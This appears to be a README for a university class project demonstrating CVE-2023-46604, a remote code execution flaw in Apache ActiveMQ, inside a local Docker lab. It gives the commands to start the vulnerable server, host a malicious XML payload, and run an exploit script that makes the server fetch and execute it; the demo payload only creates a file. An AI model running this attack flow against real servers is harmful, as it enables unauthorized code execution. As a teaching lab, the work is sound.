
A PoC for CVE-2023-46604 written as part of SPS class for the Advanced Cyber Security master's at UPB.
Assignment: SSP Assignment 3 Team: RCE You Later Members: Banica Horia Alexandru, Comarlau Vlad-Constantin
Video link of using the repo to do the PoC: https://www.youtube.com/watch?v=vum4qTF4ygU
This repository contains a fully functional Proof-of-Concept (PoC) for CVE-2023-46604. This vulnerability allows an attacker to execute arbitrary shell commands on a vulnerable Apache ActiveMQ server (version 5.15.10) by forcing it to deserialize a malicious XML configuration file.
Goal: Create a file named pwned_by_ssp_team inside the victim server to prove we have control.
Before running the exploit, ensure you have:
vulnerable-env/: Contains the Docker setup for the victim server.attacker/: Contains the exploit scripts and malicious payloads.
exploit.py: The Python script that sends the malicious packet.serve.py: A simple HTTP server to host the XML payload.poc.xml: The malicious configuration file that contains the command touch /tmp/pwned_by_ssp_team.We will run an old, vulnerable version of ActiveMQ using Docker.
vulnerable-env folder:
cd vulnerable-env
docker-compose up -d
The victim server needs to download instructions from us. We will set up a small web server to host these instructions.
attacker folder:
cd attacker
python3 serve.py
Now we send the specific network packet that triggers the vulnerability.
Open a third terminal.
Navigate to the attacker folder:
cd attacker
Run the exploit script.
python3 exploit.py -i 127.0.0.1 -p 61616 -u http://host.docker.internal:8000/poc.xml
host.docker.internal with your the gateway of the network bridge, usually: 172.17.0.1. Try to get the address like so if the prescribed one does not work: docker network inspect bridge -f '{{range .IPAM.Config}}{{.Gateway}}{{end}}'Did it work? Let's check if the file was created inside the container.
/tmp folder inside the victim:
docker exec activemq-victim ls -l /tmp
pwned_by_ssp_team.To stop and remove the vulnerable container:
cd vulnerable-env
docker-compose down